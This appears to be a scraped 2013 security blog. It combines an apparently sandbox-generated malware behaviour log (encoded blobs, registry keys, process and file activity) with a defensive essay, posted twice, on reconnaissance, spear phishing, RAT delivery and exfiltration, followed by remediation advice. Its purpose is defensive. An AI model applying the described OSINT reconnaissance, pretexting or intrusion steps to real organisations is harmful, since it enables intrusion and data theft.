futxhK4DNUDRIlZxQfKkhf/ZXWdkOj9O5gZo 4Mf/VED1jOxz2GOCOd70lh7Ou9iDaqs+zpu 91H2N3Hg1wESyAoro2ZFKYkWsQdCRv3G soyA7xBGeXVAZ/vhYUo3O/oikqYdnmTcPN RE4WKn3hSeVhYoF7l1iFhKf0lpB2wHxIO4I W5Q5QbGy74ucwuG/WQwF8y+99aPOo8z RcOrB7cjAlRn9iTTdWuEQayfz469Q3O03t6 TySw9I7Qt2I/hj7+c1+wqycD7aP+dnadqZvEr A9gDfNcbKNxlfvswInMU/J/g=
REGISTRY\USER\Malware\SOFTWARE\MICROSOFT\OVNEOCAQY
2f09bg73

BINARY
futxhHWuQhIfkFA2NIDyS+6AFi0qCbIwpiC9 5tihkDVh2NZd6WEig9P0lh7Ou9iDaqs+zpu9 1H2N3HhlBoxu9/DNhPETINQQcKbBkG0GI QA/XyDufls3zyyh0LHS0sW98zglj7cTB90Tjh WNT+2poQsIBdCd8rGu2/qtli6NC1p04A/pIyx b0du6egt1DH9cC0ex7o4FSM8cAz82P+FWf 5ZHT1XI9z42ItIcYo0b+oYoru7DBcX7M7Ge ABMbhE8gEI0s/E343Vlxf+PltHnnHpUWE6u 9iwRtizvW0xnefide8bVHReqx8pnswnL9/Fyp 3yAhu18aNPFMyUznygwR9yZcOs1QppU1J 2ucuMhhA1eLCUTbznbyaHYKEOW8d5JjNj Dgkz2bA7CuTCbGnHleDb17P4cO5XtKFhX mv2u9wtDYQHx5wnpAOTwHbwYBl3cnQJB CVVN3XpoYpSFH5DHRJXwqrOT6e/cDznea JaYairW6OAEbV1ELiC6uAWzczShIuY+iWx/ jTHr08ZQtaJI1L4OYew5GUpfSu65FeOZH8tf cliW/pDLwjYm+aQ1ZpMkaLgHLGMbK840tB 5I+w0RONhq28eJySS3HfApNToiJlSrQuS4c Qxovd1bHvSPcoPJlJp6KMSN+WT4SX2P24 TPbbunIQn3RyJEP528CCpNk2AN1MduFiSt VJR2WYnP4mlJee1kZwvonXg+m5INbzx9yb isidYkwsxXZCozNISXtcmz3hCig+V2PoAn+4 OwF6tVnrNcyKo6Nyzn79k4ff4ZsApUItNdbU FekVoldiHpM4nTqOV10c1AaOSMJvgOQP5 LfmRSR9YbMtLpMrFFXVJlw9goiiaaKp/5UY YjPbCYVnq4AcbJfkqkZfrbfJQGsdZt/Ch4IgV bvkiuB5AoVD9A2OwlWbf1ATpa95BX+BFE5 JDE3SuxiqGpmjEZs4rk0TTrTu8QgYz347ed 2sbXMTEfvf7oTtRpF3FqnLNuUj5NCMp7W Wg7R+GY7fytFR4+kw3xwWXHLc/XS2FR98 PCh7ESrMZjQeUTHa6KUbR1PUyGP1zgX5 7tMVllA95WI6kfHedYdmi7LLsWEc94hX8xS uYkHQRZg+qRCstJTJS2CjyQzlT+UU0oTlJB Ov0C3Rn/X1M6KJAettZlu/tQRhWsyg1cgIv9 swrS3fy/UkenSSPfCNV8aGKMyH75ZnMeL PUc3DDR3B9vsVOiEd9LtQn8lBcKteLu+ICP qCA/ftL2byWyY/0E5WE+dZmE=
REGISTRY\USER\Malware\SOFTWARE\MICROSOFT\OVNEOCAQY
20dcj2dj
SZ
futxhK4DNUDRIlZxQfKkhf/ZXWdkOj9O5gZo 4Mf/VED1jOxz2GOCOd70lh7Ou9iDaqs+zpu 91H2N3Hg1wESyAoro2ZFKYkWsQdCRv3G soyA7xBGeXVAZ/vhYUo3O/oikqYdnmTcPN RE4WKn3hSeVhYoF7l1iFhKf0lpB2wHxIO4I W5Q5QbGy74ucwuG/WQwF8y+99aPOo8z RcOrB7cjAlRn9iTTdWuEQayfz469Q3O03t6 TySw9I7Qt2I/hj7+c1+wqycD7aP+dnadqZvEr A9gDfNcbKNxlfvswInMU/J/gxNBtZjGLoD60 GaxdPlN5GC3rq8eNfOJ4Njpcait125Zjw7hxt BkPTwy4H+pG3uQcEqaiCt92yEA==
BINARY
2j0v6FWp4XQ/BYvb1xOBmStwBeHZJIk6WJ 7zonH9nmZIA2m5RMmo/nIsaFXZZi6om/4+ zpq91G1Z3ng11OPFUH31N8mutHqlNPTCu swabHCrYCV6UvJjYWb97AorLDQfNZgx7Q pnqB1vPNR4sADjp2CFJM7Z0FF+Go2n4VH vnIEC5XWgvUZWOl3pjXUoLipnZmYyLJ4sE mXbY/3vm4LEeTEhKswhxWt+FSAzuJW26 D0rhUeGOApOcsWBMMId483sLGyo31rLBz YEDMWP7pvaWNeUrD4hP6zAvRls98CluN4 CdPuxpyFV01iFFdejXGkdUdPyMfoStdLIp8 WMT1cDJZNnk8heIjAKDVYLe+qf/PMaE6zX FkFUtFtKp4VKHGU31moaYOLxd81jF9w/Me FM6LhWhHgeiekXi6JVDmVW8Xy5HSgZgvz 9nS94MKDRn37DUrAr7FERZK5UAzFyPrRf ObQTJVpj5Wk90rKgxD/d2NYW9BJNBKH2g RnivRY+WcqzaVBIPkT/6hxLb3ejhRiTof05Fx uwcIGpWWvt8W9yUNBoqqnbgAW3DTycgt UGUygwGh4zrfllYZR0Viq0airiVz/ViNZg9uTg bjzzVbZspQa0WzjSuFx9gkv4E9TJYiLyi946 WY8+pQoatNVROKmpd9uSzdaFIOC77G2N 3wtMdkmc77VS2fjuOePTv99b39tjUwyjmGT oK3U6RYfhdWCtGEfctxZm/a87wOibOZrM7 dXpQNA5xHaglZL6yxF5x1UU6I+yoLtTOKW BMOjCGTgBtJaXhejlctcgO4fLzcpSYnns9MR OHxHDL+uIBIH713Kn3nCeDuBPQ1wLbMjP hE0o0QAyuWWVeYlrfwy+QaBwmiZ8SFu7D iurZL2YeVEQbLcP31yScLm8y1dcJ3K0I7MN z8A5VU6kjI7WH617QRHU0VKDn25mfeVq WzJ4dGZcYNCy0F+aRKi6gfpcI0Z/BPwftAb ubOR/alUioYHujp5yrgRorrXWIY/aUhvObO0 ATqmoqashnAW9gI6EIfnGaOQzVMZkyC7F 4aKUbB1PQ3eM1ziO77tMEPj9j71HDJ5rZ3 WKwO3ghBrD7VLQIyQXJu/njti6PBd3k/xmUf 8z7kubvIlK/TLm0yc5FbuSDFCrzCN3ittJUXX sZeLa/AEguGdSLDTvIHNQmcNRuFjG8eoV CBd1i6qsW6Gew4r5hQ0Vzz62V5jGv8JCtbJ tDrL4hMA1U+V7VPpaJVlcn5/JB3IZZtoBx8A sbSBJ9LYOv5k23l7zU7UjxFxNUjGwUTzSp FCDA6MYgAHi26CGCI++T4L8YQXvuHQK1 ux/R3MOh0PEwAul3DDyUeBrdKZ5v3nNAa SXdbuaA57PTJ+wEnQXx7arScl/xFNAT+Pn GhxsJl+M5mH+a85lmJ7c3TRq6/INkLdyvdH HEigmVP3S+4cqhKmaFJnEIRZR05YO7Dh0 KyZXUPELoM5lVGn9cbx4YVxwa5QlYl6C5L lxfQUUTtADXHl85BzrHQghFQSYPSU7KBE Ar5yMgPGCo6wwWwdHWFfQnLfj3Jx8Zbm K00x4SjhjwKtDvWPM7BRXSi4rKOm9+mR9 /KRclYqWHmScQ1ab5+cndRd1YfZtCZFcN3 W/GfSjLFnV1Eiv2t+mZmUonFxAwuPPBih54 TETTbhq6Y2jHa6CzCGpIQNKj1icUcp6DD5 cYydoSdxkR41VVEa52dY0MA2nroBvytJ5Vd 3l+drtUHeXnSzJOkC5GNhU1ufOLQC520pJ nCtrizOJj0WGt1JX4zGNgjSdt/nqrU+RpWXw uFUuK9XK2aOmfhNYtg3HzA4UrO0/LuS4br BEP8VrAdpGnc7JIE0FQkaTcmQKT+Y5udQ bNtoYTC0SG0urnSSVbhLZ7N/QZ9H9LOqC RB25VuBdgVfSD4s44G4q8G5pQwRrKwSH C29PfjPfmkJHmWngtAmtpmzoEYCs3xsLyy LfkmUXXaCiMbJcZE7O/ga9Gq54p5y3Hhm OuE1qqM7PSwfavwU07H2Q8JsTTyyLN1wz Tlvm5fVL/hMVITEnA95KPo2x04EchiICZkY WP977G8yzx3TyU1Rn8Jb7NHxXR4EugOz AnDZsnb/bfLumxQgx3WzqkUOgKfXZGrxR m6nXhmZ5Uq0LnNxvwhZevA9y+GhEbg3K Q1euKcvIHG+yyAwYdf98iHtBK2nRfsE0KMk S0rsB99Jcwj52+zSSVkh414qgjTyOHS90gi5 UZEebA7wMiPRaQt4c4HHoUWAfwpcTUhH zwduxOk4ExOZcfT2bbxdtDjkTkmvPhRLeU6 y+1zLYxNQ2xL5sLs23D50XxWsynptmTPRn FEDTYY24Cztz+k0LnUczRTYJZ2fMoLX+p5 B4f3+xY50eZKKqXvIjZCT8T3leHVAJLUX10l leR+YUnV/cJ+uYgWNSj2Xx+O6otEuzfVa9xi 5ag33e+zYxW/1aS8xH71JHVCaCeoUUWs YvqYQ14FoJO1sJQQUl7l3hAdQ5EWSzK9t FoYuUQRkYIsLvkWikpQqnBKxObbmnk7Ve e+P/QTmpWJDEVyF9sIGnTxHYnycq8LoOE CCVfyhnCwRXvJHxnUf/MvWeHpy1cH+H/M 6TmPwzOMoNEp2jmTKvQE5Vf7V0FOwHq pfJrKhsqA/gwNnUOCAMneGDwi0IXrEHnC3 bxPVoNqXkGJo30YgtJtRlCAa6ai9f/7CDXf9v Wxi5UkdnkyH+rbnus3YZh+tGMCqbmNUDM yIlxF7UvORqQELIQPtWirTl6rZqZpVTeLZlW ArUvlRyn9eZGOkiTGfJOqtomRX7o1TTBdFj +A7iobP/eY5a/Z/OXMvUX67N3P6q5PYnyo HODjCUujhW1TYpv4OvN0HP7YdwoOcqhh xZ1ThvDOAseoqGQF9pChkmFT1xu8dQaX gj8Ao/k+FLMBb4x4tznI4xdByZiK4GlfT6x0W Ei8oSoEB4FwWenEQ6dsa8GXfeASOmqLH kvVy3GD2GlfXFUc789fkO2PuJH3h3itmbb1d cW69an8NvMR0qAi8UODJNPu1ot9u04oUZl IdY2pDeG1B/FmXsldqIk7vR87AiVCblDYbsZ JTdfGdBgE8FBec29kFHNtwxwL8MrIuoZsQ BQYsap4E0PuCm2qNNkX67nixRcTTuLiB67 N3J8GE0L4HLMFNmj6lXLMxgAt5hJoNiyJs Kyy4huKmybFoR2/kQ4Nr3G2cusjSqp63tX8 7Q8NIWdp8kccvWi9za+KN1wqn+W2J3x2Y 15zoG7m3fJMk2iLkfS7IiQh4uzMrSfugo5Ige OpHV/j6+QSGh6nDzAAsZ149T22LnkpBnB PDguuwJv8i9xaoHx73QJELzUAwuZnAUON
CuT====
1000 (cmd.exe) 1000 (cmd.exe)
1000 (cmd.exe)
1000 (cmd.exe)
1000 (cmd.exe)
748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe)
748 (svchost.exe) 748 (svchost.exe)
748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe)
748 (svchost.exe) 748 (svchost.exe)
748 (svchost.exe)
748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe) 748 (svchost.exe)
OlkContactRefresh OlkFolderRefresh
Action
\DOCUME~1\Malware\LOCALS~1\Temp\VKO2BB.bat
1308 (xsiretgashup.exe)
Modified
\Documents and Settings\Malware\Application Data\Imdeaj\iqybox.exe
1308 (xsiretgashup.exe)
Modified
\Documents and Settings\Malware\NTUSER.DAT.LOG
1308 (xsiretgashup.exe)
Modified
\lsarpc
1308 (xsiretgashup.exe)
Modified
\DOCUME~1\Malware\LOCALS~1\Temp\xsiretgashup.exe
1188 (c13cf0af350fd6dfb8380 d0968c230b1.exe)
Modified
\ROUTER
1188 (c13cf0af350fd6dfb8380 d0968c230b1.exe)
Modified
1188 (c13cf0af350fd6dfb8380 d0968c230b1.exe)
Modified
\lsarpc
\net\NtControlPipe5
\Documents and Settings\Malware\NTUSER.DAT.LOG
1188 (c13cf0af350fd6dfb8380 d0968c230b1.exe)
Modified
788 (svchost.exe)
Modified
\Documents and Settings\Malware\NTUSER.DAT.LOG
1352 (Explorer.EXE)
Modified
1000 (cmd.exe)
Modified
\Documents and Settings\Malware\Application Data\Microsoft\Address Book\Joe Maldive.wab
\lsarpc
1000 (cmd.exe)
Modified
1000 (cmd.exe)
Modified
\ROUTER
748 (svchost.exe)
Modified
\WINDOWS\Prefetch\CMD.EXE-087B4001.pf
748 (svchost.exe)
Modified
Nov 4, 2013 16:03 EST Page 1658
Details for Alert ID 67540517
\lsass
\Documents and Settings\Malware\NTUSER.DAT.LOG
\lsarpc
\??\C:\Documents and Settings\Malware\Application Data\Imdeaj\iqybox.exe \??\C:\Documents and Settings\Joe Maldive\Application Data\Imdeaj \??\C:\Documents and Settings\Joe Maldive\Local Settings\Application Data\diyq.xij
\??\C:\DOCUME~1\Malware\LOCALS~1\Temp\xsiretgashup.exe
\??\C:\Documents and Settings\Malware\Application Data\Microsoft\Address Book\Joe Maldive.wab
\WINDOWS\system32\rsaenh.dll
\AUTOEXEC.BAT \DOCUME~1\Malware\LOCALS~1\Temp\xsiretgashup.exe \lsarpc
\AUTOEXEC.BAT
\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk
\ROUTER
\lsarpc
\WINDOWS\system32\rsaenh.dll
\WINDOWS\system32\drivers\etc\hosts
\net\NtControlPipe5
\WINDOWS\system32\rsaenh.dll
\DOCUME~1\Malware\LOCALS~1\Temp\VKO2BB.bat
\Documents and Settings\Malware\Application Data\Microsoft\Address Book\Joe Maldive.wab
\WINDOWS\Registration\R00000000000b.clb \lsarpc \WINDOWS\Prefetch\CMD.EXE-087B4001.pf \ROUTER
\lsass
\Documents and Settings\Malware\Application Data\Imdeaj\iqybox.exe \lsarpc
492 (lsass.exe) Modified 900 (iqybox.exe) Modified 900 (iqybox.exe) Modified 1308 (xsiretgashup.exe) Created 1308 (xsiretgashup.exe) Created 1308 (xsiretgashup.exe) Created
1188
(c13cf0af350fd6dfb8380 Created d0968c230b1.exe)
1000 (cmd.exe) Created
1308 (xsiretgashup.exe) Read 1308 (xsiretgashup.exe) Read 1308 (xsiretgashup.exe) Read 1308 (xsiretgashup.exe) Read
1188
(c13cf0af350fd6dfb8380 Read d0968c230b1.exe)
1188
(c13cf0af350fd6dfb8380 Read d0968c230b1.exe)
1188
(c13cf0af350fd6dfb8380 Read d0968c230b1.exe)
1188
(c13cf0af350fd6dfb8380 Read d0968c230b1.exe)
788 (svchost.exe) Read 788 (svchost.exe) Read 788 (svchost.exe) Read 1352 (Explorer.EXE) Read 1000 (cmd.exe) Read 1000 (cmd.exe) Read 1000 (cmd.exe) Read 1000 (cmd.exe) Read 1000 (cmd.exe) Read 748 (svchost.exe) Read 492 (lsass.exe) Read 900 (iqybox.exe) Read 900 (iqybox.exe)
Friday, November 1, 2013
Saturday, October 19, 2013
You're Owned and Just Don't Know It. The Malware Obfuscation attack.
Note:
NO company listed on this page offers a "Magic Bullet Solution or Tool. Just wanted to clarify that FYI. Some remediation and solution providers are listed at the bottom.
That thought probably keeps you up at night, or it should.
“The bad guys” aka The Adversary
What do they want? This all depends on the threat actor, some just want to see the world burn, what do the rest want?
Many are after Intellectual Property, financial information, destroying company reputation, etc.
• Financials
• Customer reputation
• Money
• Contacts
• Destruction
Often it’s just a global crimeware kit, and the author discovered he had much more than a user with a bank account, and sells you out to the highest bidder.
The Magic Bullet Solution:
Organizations from various sectors are spending vast amounts of money on more, and more advanced threats tools.
Managers, CISOs, and CIOs are speaking with vendors or reading articles advertising various tools, which may or may not fit within your companies budget, and the vendors are selling these tools as a "silver bullet solution."
The reality is most organizations already have an arsenal of tools, and not enough staff to review the data that's already being collected, and attempting to monitor their production environment. These new tools only add more information the analysts cannot ingest, let alone form a picture of what's actually occurring on the network.
The adversary has the same or similar tools, and knows exactly what tools your organization uses, and they know how you use them, against you, and I'll tell you why. For the single-purpose of staying one-step ahead of these tools, and continuing to perfect their obfuscation techniques.
The Con’s Recon:
How does an adversary gain information about an organization?
This information is learned using what is called social profiling; this can be accomplished on sites similar to, LinkedIn, Facebook, Twitter, and Google. With the use of these sites an adversary has the ability to track your organization, and create an organizational chart, down to who reports to whom, and which manger reports to which director, and which director reports to which VP, and so forth. This includes phone numbers, email addresses, personal blogs, and through social engineering can even obtain information about where your children go to school, what your personal schedule is, and what packages you're expecting in the mail.
People like to talk about themselves, and they like to blog, tweet, and post on pictures on Facebook showing what they’re doing. This also can leave geo location information in pictures. Without proper privacy settings on any of these platforms this information is practically public to the entire world!
The tools of the Trade:
Cree-py
Maltego
The Harvester
http://checkusernames.com/ Check Usernames - Useful for checking the existence of a given username across 160 Social Networks
Human Intelligence (HUMINT) Methodology always involves direct interaction - whether physical, or verbal.
Gathering is usually done under an assumed identity (remember pretexting?).
Key Employees
Partners/Suppliers
IMINT can also refer to satellite intelligence, (cross over between IMINT and OSINT if it extends to Google Earth and its equivalents).
Covert Gathering - Corporate
On-Location Gathering
Physical security inspections
Wireless scanning / RF frequency scanning
Employee behavior training inspection
Accessible/adjacent facilities (shared spaces)
Dumpster diving
Types of equipment in use
Offsite Gathering
Data center locations
Network provisioning/provider
Foundstone has a tool, named SiteDigger, which allows us to search a domain using specially strings from both the Google Hacking Database (GHDB) and Foundstone Database (FSDB).
How would you enumerate the targets infrastructure without touching it?
Maltego is a program that can be used to determine relationships and real world links between:
• People
• Groups (Social Networks)
• Companies
• Organizations
• Web Sites
• Domains
So again what information do I want with these tools???
• Network blocks, and owned ASNs
• Email adresses
• External infrastructure profile
• Technologies used Peremeter tools
• Purchase agreements 3rd party vendors
• Remote access
• Application usage Browser user agents…
• Defense technologies
• Human capability
These individual targets are going to be inside your organization, and closest to the data the advisory is trying to gain access, and with the least possible resistance.
This can all be done with a simple phone call to an individual administrative assistant, and actually use the personal information they received on the Internet to use against the victim. All to make that individual perceive they're giving information to a person they know or trust.
Gain a false sense of trust in order to get the individual target to drop their defenses.
The Delivery
With all this reconnaissance information, an adversary can build a profile of what tools are being used in your perimeter, what operating systems are used on workstations, and potentially account names, and even passwords, once again, only using social engineering.
This is the intelligence required to create the perfect RAT , which will be used, once inside the organization.
Exploits can be written, and used against specific operating systems, common applications like browsers, Adobe or Oracle products. This even includes version each application is using.
Yes social engineering.
With the intelligence gathered on your organization the RAT is packaged up, and all that’s left is a creative method of delivery. Phishing, Watering Hole, Thumb Drive, or in this case a spear phishing attack.
The delivery will most likely make it through your perimeter because the scoring is fairly low, often only choosing a single target to decrease the fidelity of the event from triggering an alert.
Of course this was tested against your perimeter with several previous fake fishing type email probes to several recipients or potentially single-user with nothing more than a URL, and a short message
The intent is to create a DNS query (roll call) from the link is clicked on. In reality it was nothing but a harmless http or https request, none of which would cause an alarm by any of your perimeter tools. This query, would of course, resolve to a local address in a legitimate hosting provider's ASN, and the would be monitored for hits using DNS monitoring tools.
The weaponized email will contain a link that will actually perform an http /GET to download a well-known EK.
It’s the Payload inside this EK that will contain the RAT the adversary created, both making the advanced threat tools and the cyber security department played the fool.
You see the average response will most likely be this was a typical malware campaign, and will most likely end up as a reimaged of the host within a given period of time.
The RAT will use the information gleaned from their “Recon” social engineering phase against your company’s weaknesses.
Once the emails embedded URL is clicked, and the payload is delivered, the dropper EK actually extracts its contents with various premeditated exploits by either embedding them into memory or even a video card. The exploit could be a utility that spoofs the source of browser updates, or well known exploits targeting Adobe or Oracle products, or just attempts to finds cloud storage with open file shares like Dropbox, or vulnerabilities in your already known operating systems.
The first objective of the RAT has been known and used for a long time with tools like Metasploit or other hacking tools; looking for a jump host. The adversary wants off this machine and onto another machine as quick as possible (persistence).
At this point there’s no requirement for any command-and-control, thus there's no contact from the RAT. The communication would be limited to lateral movement and only detected if you use, or have a solid endpoint security solution.
Now the RAT's objective is to harvest data on the infected machine or machines, and only then make a connection to a predetermined location and exfiltrate using SSL HTTP or FTP. This exfiltration of data could even be transmitted from several of the jump hosts in a peer-to-peer sharing application, and in several simultaneous garbage looking transmissions like bit torrent.
Remember the RAT is already inside the perimeter. The adversary is in the squishy center of your network.
The infected hosts can remain silent for as long as the adversary deems fit for sufficient information gathered, and the security department to completely forget the original alert from the first infected host of the phishing infection.
A few days later the victim companies financials, accounts, passwords, intellectual properly, network topology from critical systems show up on Pastebin or in the media, or sold off to the highest bidder.
- Jim @RazorEQX (lacking an editor)
Hope this helps. In the end we can all #awkwardhug
NO company listed on this page offers a "Magic Bullet Solution or Tool. Just wanted to clarify that FYI. Some remediation and solution providers are listed at the bottom.
As far as solution providers and tools: Everyones environment is different, and each requires its own set of tools based on budget, corporate culture, and topology.
Onward,
I'm going to ask you a question that I don’t want you to answer. Just to take a moment and think about it. Do you think your network is already compromised, and you just haven’t found out about it yet?That thought probably keeps you up at night, or it should.
“The bad guys” aka The Adversary
What do they want? This all depends on the threat actor, some just want to see the world burn, what do the rest want?
Many are after Intellectual Property, financial information, destroying company reputation, etc.
• Financials
• Customer reputation
• Money
• Contacts
• Destruction
Often it’s just a global crimeware kit, and the author discovered he had much more than a user with a bank account, and sells you out to the highest bidder.
The Magic Bullet Solution:
Organizations from various sectors are spending vast amounts of money on more, and more advanced threats tools.
Managers, CISOs, and CIOs are speaking with vendors or reading articles advertising various tools, which may or may not fit within your companies budget, and the vendors are selling these tools as a "silver bullet solution."
The reality is most organizations already have an arsenal of tools, and not enough staff to review the data that's already being collected, and attempting to monitor their production environment. These new tools only add more information the analysts cannot ingest, let alone form a picture of what's actually occurring on the network.
The adversary has the same or similar tools, and knows exactly what tools your organization uses, and they know how you use them, against you, and I'll tell you why. For the single-purpose of staying one-step ahead of these tools, and continuing to perfect their obfuscation techniques.
The Con’s Recon:
How does an adversary gain information about an organization?
This information is learned using what is called social profiling; this can be accomplished on sites similar to, LinkedIn, Facebook, Twitter, and Google. With the use of these sites an adversary has the ability to track your organization, and create an organizational chart, down to who reports to whom, and which manger reports to which director, and which director reports to which VP, and so forth. This includes phone numbers, email addresses, personal blogs, and through social engineering can even obtain information about where your children go to school, what your personal schedule is, and what packages you're expecting in the mail.
People like to talk about themselves, and they like to blog, tweet, and post on pictures on Facebook showing what they’re doing. This also can leave geo location information in pictures. Without proper privacy settings on any of these platforms this information is practically public to the entire world!
The tools of the Trade:
Cree-py
Maltego
The Harvester
http://checkusernames.com/ Check Usernames - Useful for checking the existence of a given username across 160 Social Networks
Human Intelligence (HUMINT) Methodology always involves direct interaction - whether physical, or verbal.
Gathering is usually done under an assumed identity (remember pretexting?).
Key Employees
Partners/Suppliers
IMINT can also refer to satellite intelligence, (cross over between IMINT and OSINT if it extends to Google Earth and its equivalents).
Covert Gathering - Corporate
On-Location Gathering
Physical security inspections
Wireless scanning / RF frequency scanning
Employee behavior training inspection
Accessible/adjacent facilities (shared spaces)
Dumpster diving
Types of equipment in use
Offsite Gathering
Data center locations
Network provisioning/provider
Foundstone has a tool, named SiteDigger, which allows us to search a domain using specially strings from both the Google Hacking Database (GHDB) and Foundstone Database (FSDB).
How would you enumerate the targets infrastructure without touching it?
Maltego is a program that can be used to determine relationships and real world links between:
• People
• Groups (Social Networks)
• Companies
• Organizations
• Web Sites
• Domains
So again what information do I want with these tools???
• Network blocks, and owned ASNs
• Email adresses
• External infrastructure profile
• Technologies used Peremeter tools
• Purchase agreements 3rd party vendors
• Remote access
• Application usage Browser user agents…
• Defense technologies
• Human capability
These individual targets are going to be inside your organization, and closest to the data the advisory is trying to gain access, and with the least possible resistance.
This can all be done with a simple phone call to an individual administrative assistant, and actually use the personal information they received on the Internet to use against the victim. All to make that individual perceive they're giving information to a person they know or trust.
Gain a false sense of trust in order to get the individual target to drop their defenses.
The Delivery
With all this reconnaissance information, an adversary can build a profile of what tools are being used in your perimeter, what operating systems are used on workstations, and potentially account names, and even passwords, once again, only using social engineering.
This is the intelligence required to create the perfect RAT , which will be used, once inside the organization.
Exploits can be written, and used against specific operating systems, common applications like browsers, Adobe or Oracle products. This even includes version each application is using.
Yes social engineering.
With the intelligence gathered on your organization the RAT is packaged up, and all that’s left is a creative method of delivery. Phishing, Watering Hole, Thumb Drive, or in this case a spear phishing attack.
The delivery will most likely make it through your perimeter because the scoring is fairly low, often only choosing a single target to decrease the fidelity of the event from triggering an alert.
Of course this was tested against your perimeter with several previous fake fishing type email probes to several recipients or potentially single-user with nothing more than a URL, and a short message
The intent is to create a DNS query (roll call) from the link is clicked on. In reality it was nothing but a harmless http or https request, none of which would cause an alarm by any of your perimeter tools. This query, would of course, resolve to a local address in a legitimate hosting provider's ASN, and the would be monitored for hits using DNS monitoring tools.
The weaponized email will contain a link that will actually perform an http /GET to download a well-known EK.
It’s the Payload inside this EK that will contain the RAT the adversary created, both making the advanced threat tools and the cyber security department played the fool.
You see the average response will most likely be this was a typical malware campaign, and will most likely end up as a reimaged of the host within a given period of time.
The RAT will use the information gleaned from their “Recon” social engineering phase against your company’s weaknesses.
Once the emails embedded URL is clicked, and the payload is delivered, the dropper EK actually extracts its contents with various premeditated exploits by either embedding them into memory or even a video card. The exploit could be a utility that spoofs the source of browser updates, or well known exploits targeting Adobe or Oracle products, or just attempts to finds cloud storage with open file shares like Dropbox, or vulnerabilities in your already known operating systems.
The first objective of the RAT has been known and used for a long time with tools like Metasploit or other hacking tools; looking for a jump host. The adversary wants off this machine and onto another machine as quick as possible (persistence).
At this point there’s no requirement for any command-and-control, thus there's no contact from the RAT. The communication would be limited to lateral movement and only detected if you use, or have a solid endpoint security solution.
Now the RAT's objective is to harvest data on the infected machine or machines, and only then make a connection to a predetermined location and exfiltrate using SSL HTTP or FTP. This exfiltration of data could even be transmitted from several of the jump hosts in a peer-to-peer sharing application, and in several simultaneous garbage looking transmissions like bit torrent.
Remember the RAT is already inside the perimeter. The adversary is in the squishy center of your network.
The infected hosts can remain silent for as long as the adversary deems fit for sufficient information gathered, and the security department to completely forget the original alert from the first infected host of the phishing infection.
A few days later the victim companies financials, accounts, passwords, intellectual properly, network topology from critical systems show up on Pastebin or in the media, or sold off to the highest bidder.
A few take away points:
- Crack SSL if your organization permits it, and understand your egress traffic.
- Get a SIEM for event correlation. AlienVault
- Know your vulnerabilities. Rapid7, TrustedSec
- Don't take a crimeware kit for face value. Use your Advanced Threat tools but do the Forensics @Volatility is priceless. You might have missed the advanced threat you've been looking for.
- Stop wasting money on tools that are always one step behind the adversary and always promising, "that feature is in the next release”
- Find respectable companies that can help find tools to fit your organizations needs and at an affordable price.
- Use Passive tools to prevent giving away your indicators letting the adversary know you saw them. Virustotal "search feature", OpenDNS
- Use Endpoint security to feed your SEIM for further correlation and fidelity: Milton Security Group - Adaptive NAC, Sourcefire's FireAMP, RSA ECAT , McAfee .
- COLLABORATE COLLABORATE COLLABORATE with other organizations in your industry. This is priceless information. What activity are you both seeing, and put two and two together.
- RSS research feeds are your friend. A great project to mention for Security professionals for RSS feeds is The OpenSourceRSSList
I highly recommend this list for #DFIR #Infosec || research groups like:
Naming a few off the top of my head. Solid research groups!!
- Pull out indicators you can use for advance threat detection tools.
- Find and follow Forensic groups or DFIR. Their already doing this research for you including cracking XOR, Obfuscation, identifying fake registrar's selling domains to crimeware organizations.. etc.
- Get HELP. Stop reading fluff in magazine reviews. RIGHT tools, and the right advise for your infrastructure! Accuvant MicroSolved
- Send your researchers to training and local Infosec Conferences. If you dont know about the latest threats how can you defend agasint them?
- Infragard Bsides. DerbyCon, ShmooCon, ThotCon BlackHat
- Most important of all; Have a good incident response plan or IRT. Know what, and how you're going to recover from this type of breech when it finally hits your organization.
- Jim @RazorEQX (lacking an editor)
Hope this helps. In the end we can all #awkwardhug
Friday, October 18, 2013
The OSINT RSS LIST
OSINT RSS LIST
Is a group of researchers focused on providing creditable new RSS feeds for CERTS, IRT's and Forensic analysts to integrate, mitigate, and remediate threats on the Internet today. We are a non profit organization with a mission to provide credible, accurate and fast intelligence to the InfoSec community.
If you wish to have your news feed, research listed on this site send your information on the contact page, and we'll review your material. Pending a review, we'll add your feeds to our RSS list.
The RSS lists is updated weekly (or when there is enough new material) so check back often. The current version is 5.0.
http://opensourcerss.net/opensourcerss.net.html
If you're Interested In OSINT you might want to check out their RSS feeds.
If you're Interested In OSINT you might want to check out their RSS feeds.
Wednesday, October 16, 2013
Sadistic torture of of a pre-op surgery researcher
Twice now Ive awoke at 3am with a great idea for a research paper, and then come to the realization it hurts like hell to type so i’ll just go back to bed..
Six more days and a wakeup.
-R
Thursday, October 10, 2013
Untangle 10.0 Open Question & Answer Session
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Mobile attendees
Required: iPhone®, iPad®, Android™ phone or Android tablet
Linux – We apologize that GoToWebinar does not support Linux at this time. We continue to pressure http://www.untangle.com/store/firewall.htmlthem to do so.
|
Subscribe to:
Posts (Atom)